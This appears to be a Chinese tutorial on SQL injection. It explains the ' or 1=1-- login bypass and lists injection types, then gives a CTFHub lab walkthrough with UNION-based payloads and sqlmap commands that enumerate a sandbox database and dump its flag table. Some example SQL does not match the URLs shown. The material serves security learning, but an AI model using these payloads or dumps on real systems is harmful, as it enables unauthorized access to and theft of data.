SQL注入漏洞


文章目录

  • SQL注入漏洞
  • 1.SQL注入原理
  • 2.SQL注入漏洞分类
  • 3.注入实操之ctfhub整数型SQL注入
    • 3.1手动注入
      • (1)判断是否存在注入
      • (2)查询字段数量
      • (3)查询SQL语句插入位置
      • (4)获取数据库库名
      • (5)获取数据库表名
      • (6)获取字段名
      • (7)获取数据
    • 3.2 SQLmap注入
      • (1)判断是否存在注入
      • (2)获取数据库
      • (3)获取当前应用程序所用的数据库
      • (4)列出指定数据库的所有表
      • (5)读取指定表中的字段名称
      • (6)读取指定字段内容

SQL注入漏洞(SQL injection)是Web层面最高危的漏洞之一。在2008年至2010年期间,SQL注入漏洞连续3年在OWASP年度十大漏洞排行中排名第一。


1.SQL注入原理

  1. 图5 - 1是一个正常的登陆表单,输入账号和密码后,JSP程序会查询数据库:如果存在此用户并且密码正确,将会成功登录,跳转至“FindMsg”页面;如果用户不存在或者密码不正确,则会提示账号或者密码错误。
  2. 接下来使用一个比较特殊的用户“ ‘or 1=1-- "登录,输入用户名” ’or 1=1-- “,密码可以随意填写或者不写,在点击”登录"按钮后,发现是可以正常登录的。其实在数据库中根本没有“ or 1=1-- ”这个用户,那么为什么会正常登录呢?
  3. 点击登录按钮后,JSP程序就会启动,然后就会执行SQL语句,在数据库中查询username和password的结果,若查询的值大于0,则代表用户存在,返回true,代表登录成功,否则返回false,代表登陆失败。
  4. 现在,我们试着提交账号admin,密码password,就会执行以下SQL语句:
select count(*) from admin where username='admin' and password='password'
  1. 因为存在admin用户,并且密码正确,所以就可以成功登录,而当输入的是“ ‘or 1=1-- ”时,执行的SQL语句为:
select count(*) from admin where username='' or 1=1-- 'and password=''
  1. 很显然结果必然大于0,后面的password查询被注释掉了,所以就会成功登录。
  • 由此可得知,SQL注入漏洞的形成原因就是:用户输入的数据被SQL解释器执行。

2.SQL注入漏洞分类

注入类型 介绍
数字型注入 输入的参数为整型
字符型注入 输入的参数为字符型
POST注入 注入字段在POST数据中
Cookie注入 注入字段在Cookie数据中
延时注入 使用数据库延时特性注入
搜索注入 注入处为搜索的地点
base64注入 注入字符串需要经过base64加密

3.注入实操之ctfhub整数型SQL注入

3.1手动注入

(1)判断是否存在注入

1)加单引号

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1’

对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;

2)加and 1=1

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1 and 1=1

对应的sql:select * from table where id=3’ and 1=1 语句执行正常,与原始页面如任何差异;

3)加and 1=2

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1 and 1=2

对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异

如果满足以上三点,则可以判断该URL存在数字型注入。

(2)查询字段数量

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1 order by 2

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1 order by 3



当id=1 order by 2时,页面返回与id=1相同的结果;而id=1 order by 3时不一样,故字段数量是2。

(3)查询SQL语句插入位置

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,2

此时要先保证之前的数据查不出来,之后再union。id=-1数据不存在数据库中。可以看到位置2可以插入SQL语句。

(4)获取数据库库名

1)获取当前数据库库名

2位置修改为:database()

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,database()

得到数据库名称为:sqli,由数据库版本可知他是MySQL的一个分支

2)获取所有数据库库名

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,group_concat(schema_name)from information_schema.schemata

(5)获取数据库表名

1)一次性获取当前数据库所有表名:

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘sqli’

得到数据库sqli中的表名为news和flag

(6)获取字段名

以flag表为例,一次性获取所有字段名:

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’

(7)获取数据

以flag表为例,一次性获取所有数据:

URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,group_concat(flag) from sqli.flag

3.2 SQLmap注入

(1)判断是否存在注入

sqlmap.py -u “http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1”

若存在注入会显示使用数据库类型等一些信息。-u参数指定URL。

(2)获取数据库

sqlmap.py -u “http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1” --dbs

–dbs参数读取数据库。

(3)获取当前应用程序所用的数据库

sqlmap.py -u “http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1” --current-db

–current-db参数列出当前应用程序所使用的数据库。

(4)列出指定数据库的所有表

sqlmap.py -u “http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1” --tables -D “sqli”

–tables参数获取数据库表,-D参数指定数据库。

(5)读取指定表中的字段名称

sqlmap.py -u “http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1” --columns -T “flag” -D “sqli”

–columns参数列取字段名,-T参数指定数据库表。

(6)读取指定字段内容

sqlmap.py -u “http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1” --dump -C “flag” -T “flag” -D “sqli”

–dump参数意为转存数据,-C参数指定表中字段。

初探SQL注入之GGBond版相关推荐

  1. SQL注入入侵动网SQL版论坛

    现在动网最新版本是7.0+SP2.应该说安全性已经是很高的了.所以从脚本本身的问题去突破它难度不小.但是我们可以从外部的一些途径间接"搞定"动网.现在IIS+ASP+SQL2000 ...

  2. 再谈SQL注入入侵动网SQL版

    再谈SQL注入入侵动网SQL版  编辑前言: 这个文章我没有测试,但前提条件还是很多,比如一定要有别的程序存在,而且也要用同一个SQLSERVER库,还得假设有注入漏洞.说到底和动网没有什么关系,但因 ...

  3. 使用jdbc执行SQL实现登录查询2-避免SQL注入版

    配置文件及工具类参考1 package com.jdsc;import javax.rmi.CORBA.Util; import java.sql.*; import java.util.Scanne ...

  4. 初探PHP的SQL注入攻击的技术实现以及预防措施

    SQL 攻击(SQL injection,台湾称作SQL资料隐码攻击),简称注入攻击,是发生于应用程序之数据库层的安全漏洞.简而言之,是在输入的字符串之中注入SQL指 令,在设计不良的程序当中忽略了检 ...

  5. 防SQL注入代码(ASP版)

    <%  Dim Fy_Url,Fy_a,Fy_x,Fy_Cs(),Fy_Cl,Fy_Ts,Fy_Zx  '---定义部份 头------  Fy_Cl = 1 '处理方式:1=提示信息,2=转向 ...

  6. C#SQL注入检测——特别是对于旧版.NET代码

    目录 使用Decorator模式提供添加SQL注入检测的位置 SQL注入检测代码 究竟如何检测到SQL注入? SQLExtensions类中包含的格式化方法 自定义.NET异常类 用于检测SQL注入的 ...

  7. SQL万能钥匙注入的终结版

    我们登录一个网站的时候会有账户名和密码都要输入进去.这样的方法禁止非法进入网站,它是这样构造SQL语句的,假设填写用户名为marcofly密码为test.因为根据我们提交的用户名和密码被合成到SQL查 ...

  8. .NET防SQL注入方法

      SQL语句 利用SqlCommand传参数的方法: string strSQL="SELECT * FROM [user] WHERE user_id=@id"; SqlCom ...

  9. mdcsoft服务器网络安全解决方案-SQL注入解决

    { 推荐大家,SQL注入最牛的解决办法在http://blog.mdcsoft.cn/archives/200805/46.html 太强大了,直接从IIS入口直接过滤掉了非法请求,mdcsoft-i ...

最新文章

  1. [sh]top添加到crontab不生效问题解决
  2. 大数据审计的发展_从历史的角度看大数据审计发展
  3. FileStream实现多线程断点续传(已封装)
  4. 腾腾流氓,云云更流氓(问微信怎样接入支付宝支付),手贱的赶紧点,你会感谢我的...
  5. Stopping ADB server failed(code -1)
  6. oracle是CLOB类型mybatis,Mybatis之Oracle增删查改示例(含Date、Clob数据类型操作)
  7. pytorch torch.nn.RNN
  8. Integration between SharePoint 2013 and CRM 2013 (On-Premise)
  9. 逻辑思维与C/C++解题
  10. java day59【 AOP 的相关概念[理解] 、 Spring 中的 AOP[掌握] 、 Spring 整合 Junit[掌握] 】...
  11. 简单返回顶部代码及注释说明
  12. isis软件添加源代码c语言,ProteusISIS和Keil软件入门学习..doc
  13. linux 有个文件删不掉,Linux下删除不掉的文件
  14. 【第十一篇】Flowable中的各种网关
  15. Mac上使用docker环境进行C++开发的实践
  16. 谁能拒绝一个会动的皮卡丘挂件
  17. JS 日期的获取和计算 ios不兼容问题
  18. 计算平均值和标准方差。
  19. iOS开发概述-12.手势处理
  20. 【PaddlePaddle论文复现】LARGE SCALE GAN TRAINING FOR HIGH FIDELITY NATURAL IMAGE SYNTHESIS阅读心得

热门文章

  1. 第十章:使用MapKit开发地图服务
  2. 写出STM32使能端的详细介绍文章
  3. 前端001 有彩色下划线的导航栏
  4. d2rq-0.8.1工具构建RDF模型
  5. SVN版本库的异地备份
  6. ET学习笔记之五星麻将0
  7. 地下水水位监测解决方案(创新水资源保护新模式)
  8. win10定期更新时间脚本
  9. linux 命令自动补全包
  10. 【okfone 教程】 奥凯丰 HEIC图片转换器